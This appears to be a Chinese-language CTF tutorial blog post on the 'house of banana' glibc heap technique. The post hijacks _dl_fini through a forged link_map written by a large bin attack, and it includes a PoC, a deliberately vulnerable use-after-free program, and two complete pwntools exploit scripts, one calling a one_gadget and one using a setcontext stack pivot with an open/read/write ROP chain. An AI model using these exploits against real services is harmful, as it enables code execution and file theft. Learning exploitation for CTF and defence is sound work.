house of banana

house of banana

适用版本:2.23到最新的2.36 (在2.27及以下不能打orw,在其上可以,因为只有在2.27版本之上才可以控制rdx并利用setcontext打一个orw)

利用条件:

  1. 可以任意地址写一个堆地址(通常使用 large bin attack

  2. 能够从 main 函数返回或者调用 exit 函数

  3. 可以泄露 libc 地址和堆地址

漏洞原理

源码有点多,我这里只放上主要的代码,

void
_dl_fini (void) //house of banana
{
  
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
   
      ...
	  for (i = 0; i < nmaps; ++i) //l遍历link_map的链表
	    {
	   ...

	      if (l->l_init_called)  //重要的检查点
		{
		
		  l->l_init_called = 0;

		 
		  if (l->l_info[DT_FINI_ARRAY] != NULL //26 
		      || (ELF_INITFINI && l->l_info[DT_FINI] != NULL)) //13 这个基本都是满足条件的
		    {
		     
		      if (l->l_info[DT_FINI_ARRAY] != NULL) //26
			{
			  ElfW(Addr) *array =
			    (ElfW(Addr) *) (l->l_addr
					    + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
			  unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
					    / sizeof (ElfW(Addr)));
			  while (i-- > 0)
			    ((fini_t) array[i]) ();  //目标位置
			}
          }
}

代码中的l是link_map结构体

link_map结构体是一个在Linux下用于动态链接的数据结构,用于保存共享对象库之间的依赖关系和符号表信息。每个共享对象都有一个link_map结构体,通过这些结构体可以组成一个链表,这个链表描述了所有的共享对象库之间的依赖关系。

link_map结构体定义在/usr/include/link.h头文件中,其主要成员变量包括:

  • l_next:指向下一个共享对象库的link_map结构体的指针。
  • l_real:指向本身的地址
  • info[x]:它是一个指向ElfW(Dyn)类型的指针,用于保存共享对象库的动态信息

_rtld_global是一个在Linux下用于动态链接的全局变量,它是一个指向struct link_map结构体的指针,代表当前进程的所有共享对象库之间的依赖关系和符号表信息。

该全局变量在动态链接器ld.so中定义,其作用是记录动态链接器在进程启动时加载的所有共享对象库的link_map结构体链表的头指针。

在动态链接过程中,当需要查找符号表信息时,动态链接器可以通过访问_rtld_global指向的link_map链表,遍历所有已加载的共享对象库,以寻找所需的符号表信息,这是动态链接的核心功能之一。

也就是说我们需要利用large bin attack需改 _rtld_global为我们伪造的link_map结构体

重要源码分析

从上面的源码可以看出我们需要控制array的i的值才可以劫持执行流

控制array的值

ElfW(Addr) *array =
			    (ElfW(Addr) *) (l->l_addr
					    + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);

其实就是

 *array = (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);   DT_FINI_ARRAY是26 一般把l_addr置零 d_un.d_ptr的偏移是8

也就是说我们在l_info[26]写入l_info[26]的地址,array的值就是l_info[27]中存放的值

控制i

i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val/ sizeof (ElfW(Addr))); DT_FINI_ARRAYSZ是28

也就是说我们在l_info[28]写入l_info[28]的地址,i的值就是l_info[29]中存放的值/8

需要绕过的检查

恢复l_next 字段原本的值,这样之后的 link_map 就不用再伪造了。(因为在遍历时需要有三个以上的link_map结构体)

l_real 字段改为伪造的 link_map 地址,以便满足 if (l == l->l_real) ,确保不会触发 assert

l_info[26] 的值设置为非空,为了满足 if (l->l_info[DT_FINI_ARRAY] != NULL)

l->l_info[26] 的值设置为 l->l_info[26] 的地址,那么 l->l_info[27] 中的值则是 array

l->l_info[28] 的值设置为 l->l_info[28] 的地址,那么 l->l_info[29] 中的值再除 8 ,则是最后的 i

poc

//gcc poc.c -o poc -w -g
//ubuntu 18.04     GLIBC 2.27-3ubuntu1.6
#include <stdio.h>
#include <stdlib.h>
#define rtld_global_dl_ns 0x61b060
#define one_gadget 0x4f302

int main (void)
{
  
  setvbuf(stdout, 0, 2, 0);
  long long int libc_base=&printf-0x64e40;
  printf("libc base %llx\n",libc_base);
  size_t *p=malloc(0x400);
  
  p[3]=libc_base+0x61c710;//l_next
  p[5]=p;//l_real    也是伪造的link_map地址
  p[34]=&p[34];//l->l_info[26] DT_FINI_ARRAY
  p[35]=&p[38];//l->l_info[DT_FINI_ARRAY]->d_un.d_ptr    
  p[36]=&p[36];//l->l_info[DT_FINI_ARRAYSZ]
  p[37]=0x8;//i=l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
  p[38]=libc_base+one_gadget;//call array[i]
  p[0x62]=0x800000000;//使l->l_init_called 为1
  *(size_t *)(rtld_global_dl_ns+libc_base)=p;//劫持_rtld_global_ns_loaded  目的伪造link_map
  return 0;
}


题目

直接用的zikh师傅出的题用了两不同libc版本写的

2.27用的onegadget(因为不能控制寄存器)

2.31用的是orw(高版本的题基本上都会开沙箱)

程序分析

是一个菜单题有增加,删除,输出,编辑

image-20230226193202949

漏洞

在delete中有一个uaf漏洞

image-20230226193218859

源码

//gcc test.c -o test -w -g
//ubuntu 18.04     GLIBC 2.27-3ubuntu1.6
#include<stdio.h> 
#include <unistd.h> 
#define num 10
void *chunk_list[num];
int chunk_size[num];

void init()
{
	setbuf(stdin, 0);
	setbuf(stdout, 0);
	setbuf(stderr, 0);
}

void menu()
{
	puts("1.add");
	puts("2.edit");
	puts("3.show");
	puts("4.delete");
	puts("5.exit");
	puts("Your choice:");
}


int add()
{
	int index,size;
	puts("index:");
	scanf("%d",&index);
	if(index<0 || index>=num)
		exit(1);
	puts("Size:");
	scanf("%d",&size);
	if(size<0x80||size>0x500)
		exit(1);
	chunk_list[index] = calloc(size,1);
  chunk_size[index] = size;
}

int edit()
{
	int index;
	puts("index:");
	scanf("%d",&index);
	if(index<0 || index>=num)
		exit(1);
	puts("context: ");
	read(0,chunk_list[index],chunk_size[index]);
}

int delete()
{
	int index;
	puts("index:");
	scanf("%d",&index);
	if(index<0 || index>=num)
		exit(1);
		
	free(chunk_list[index]);
}

int show()
{
	int index;
	puts("index:");
	scanf("%d",&index);
	if(index<0 || index>=num)
		exit(1);
		
	puts("context: ");
	puts(chunk_list[index]);
}


int main()
{
	int choice;
	init();
	while(1){
		menu();
		scanf("%d",&choice);
		if(choice==5){
			exit(0);
		}
		else if(choice==1){
			add();
		}
		else if(choice==2){
			show();
		}
		else if(choice==3){
			edit();
		}
		else if(choice==4){
			delete();
		}
	}
}

用onegadget打

1、因为没有限制show,edit的次数,再加上一个uaf,先交libc地址和对地址泄露出来

2、利用large bin attack 将link_map的头节点(_rtld_global)换为伪造的link_map地址

3、进入exit函数获得shell

这个就比较简单了,伪造一个link_map结构体就可以了,需要注意的就是正确找到i_info[26]的位置

还有就是下面红线圈住的成员只占一个字节,要想让l_init_called为1要输入p64(0x800000000)(可能也有其他的)

image-20230226193231378

用orw打

比上面就是多了利用setcontext打一个orw,下面讲一下一些细节

这个的难点在于需要结合setcontext进行栈迁移打一个orw

需要注意

不能直接控制执行流到setcontext,因为此时的rdx是2,而setcontext中的赋值如下图,需要rdx是一个合法的地址

image-20230226193245947

那我们需要怎么做?

执行一个ret,因为你会发现在call下面有一个可以控制rdx为对地址的指令(这也是为什么2.27以上的版本可以打orw的一个原因)

image-20230226193257135

然后执行call setcontext+61处的指令(为什么可以执行两次call,那是因为那是一个while循环i是多少就循环几次)

我们需要利用setcontext控制rsp,rcx(为什么又rcx是因为在setcontet指令中一个push rcx指令,为了不让执行流断掉,需要把rcx内填入ret的指令,结合rsp让执行流转移到orw上)

exp

2.27的用的是onegadget

from tools import*
p,e,libc=load('poc')
context(os='linux', arch='amd64', log_level='debug')
add_pri=0xCFF
show_pri=0xD13
edit_pri=0xD27
delete_pri=0xD3B
def add(index,size):
    p.sendlineafter('Your choice:','1')
    p.sendlineafter("index:\n",str(index))
    p.sendlineafter("Size:",str(size))
def show(index):
    p.sendlineafter('Your choice:','2')
    p.sendlineafter("index:\n",str(index))
def edit(index,content):
    p.sendlineafter('Your choice:','3')
    p.sendlineafter("index:\n",str(index))
    p.sendafter("context: \n",content)
def delete(index):
    p.sendlineafter('Your choice:','4')
    p.sendlineafter("index:\n",str(index))
def exit():
    p.sendlineafter('Your choice:','5')
add(0,0x420)
add(1,0x500)
add(2,0x418)
delete(0)
add(3,0x500)


show(0)
a=p.recv(10)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ec090
log_addr('libc_base')

edit(0,'a'*0x10)
show(0)
p.recvuntil('a'*0x10)
leak_heap=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('leak_heap')

# large bin attack      
# &_rtld_global  
rtld_global=libc_base+0x61b060
l_next=libc_base+0x61c710
one_gadget=search_og(0)
edit(0,b'a'*0x18+p64(rtld_global-0x20))
delete(2)
debug(p,'pie',add_pri,delete_pri,edit_pri)
add(4,0x500)
link_map=p64(0)
link_map+=p64(l_next)  #l_next
link_map+=p64(0)
link_map+=p64(leak_heap+0x940)  #l_real
link_map+=p64(0)*28
link_map+=p64(leak_heap+0xa50) #l->info[26]
link_map+=p64(leak_heap+0xa70) #27
link_map+=p64(leak_heap+0xa60) #28
link_map+=p64(0x8) #29
link_map+=p64(libc_base+one_gadget)
link_map+=p64(0)*59
link_map+=p64(0x800000000)
edit(2,link_map)
exit()
# 
p.interactive()

2.34用的是orw (版本2.31-0ubuntu9.7_amd64)

from tools import*
p,e,libc=load('poc')
context(os='linux', arch='amd64', log_level='debug')
add_pri=0xCFF
show_pri=0xD13
edit_pri=0xD27
delete_pri=0xD3B
def add(index,size):
    p.sendlineafter('Your choice:','1')
    p.sendlineafter("index:\n",str(index))
    p.sendlineafter("Size:",str(size))
def show(index):    
    p.sendlineafter('Your choice:','2')
    p.sendlineafter("index:\n",str(index))
def edit(index,content):
    p.sendlineafter('Your choice:','3')
    p.sendlineafter("index:\n",str(index))
    p.sendafter("context: \n",content)
def delete(index):
    p.sendlineafter('Your choice:','4')
    p.sendlineafter("index:\n",str(index))
def exit():
    p.sendlineafter('Your choice:','5')
add(0,0x420)
add(1,0x500)
add(2,0x418)
delete(0)
add(3,0x500)


show(0)
a=p.recv(10)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ec090+0x1ff0c0
log_addr('libc_base')

edit(0,'a'*0x10)
show(0)
p.recvuntil('a'*0x10)
leak_heap=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('leak_heap')

# large bin attack      
# &_rtld_global  
# rtld_global=libc_base+0x61b060
# l_next=libc_base+0x61c710

pop_rdi=libc_base+0x0000000000023b72
pop_rsi=libc_base+0x000000000002604f
pop_rdx_r12=libc_base+0x0000000000119241



open=libc.symbols['open']+libc_base
read=libc.symbols['read']+libc_base
write=libc.symbols['write']+libc_base

rtld_global=libc_base+0x222060
l_next=libc_base+0x223740
setcontext=libc_base+0x54f8d
one_gadget=search_og(0)
pop_rsp_ret=libc_base+0x000000000002f73a
ret=libc_base+0x0000000000040ff8
edit(0,b'a'*0x18+p64(rtld_global-0x20))
delete(2)
debug(p,'pie',add_pri,delete_pri,edit_pri)
add(4,0x500)
link_map=p64(0) 
link_map+=p64(l_next)  #l_next
link_map+=p64(0)
link_map+=p64(leak_heap+0x940)  #l_real
link_map+=p64(0)*28
link_map+=p64(leak_heap+0xa50) #l->info[26]
link_map+=p64(leak_heap+0xa70) #27
link_map+=p64(leak_heap+0xa60) #28
link_map+=p64(0x10) #29
link_map+=p64(setcontext)  #0
link_map+=p64(ret)    #1
link_map+=p64(0)*13
link_map+=p64(leak_heap+0x200)#rsi   
link_map+=b'flag\x00\x00\x00\x00'
link_map+=p64(0)  #rbx  0x80
link_map+=p64(0x100)
link_map+=p64(0)*2
link_map+=p64(leak_heap+0xc60)   #rsp
link_map+=p64(ret)   #rcx
link_map+=p64(0)*38
link_map+=p64(0x800000000)


#open

rop=p64(pop_rdi)+p64(leak_heap+0xaf0)
rop+=p64(pop_rsi)+p64(0)
rop+=p64(open)
#read 
rop+=p64(pop_rdi)+p64(3)
rop+=p64(pop_rsi)+p64(leak_heap+0x100)
rop+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
rop+=p64(read)
#write
rop+=p64(pop_rdi)+p64(1)
rop+=p64(pop_rsi)+p64(leak_heap+0x100)
rop+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
rop+=p64(write)

edit(2,link_map+rop)
exit()
# #  
# pause()
# p.send(rop)
p.interactive()
# 0x205f58   rdx=leak_heap+0xa70

参考

https://zikh26.github.io/posts/efb4678.html

posted @ 2023-02-26 19:34  何思泊河  阅读(360)  评论(0编辑  收藏  举报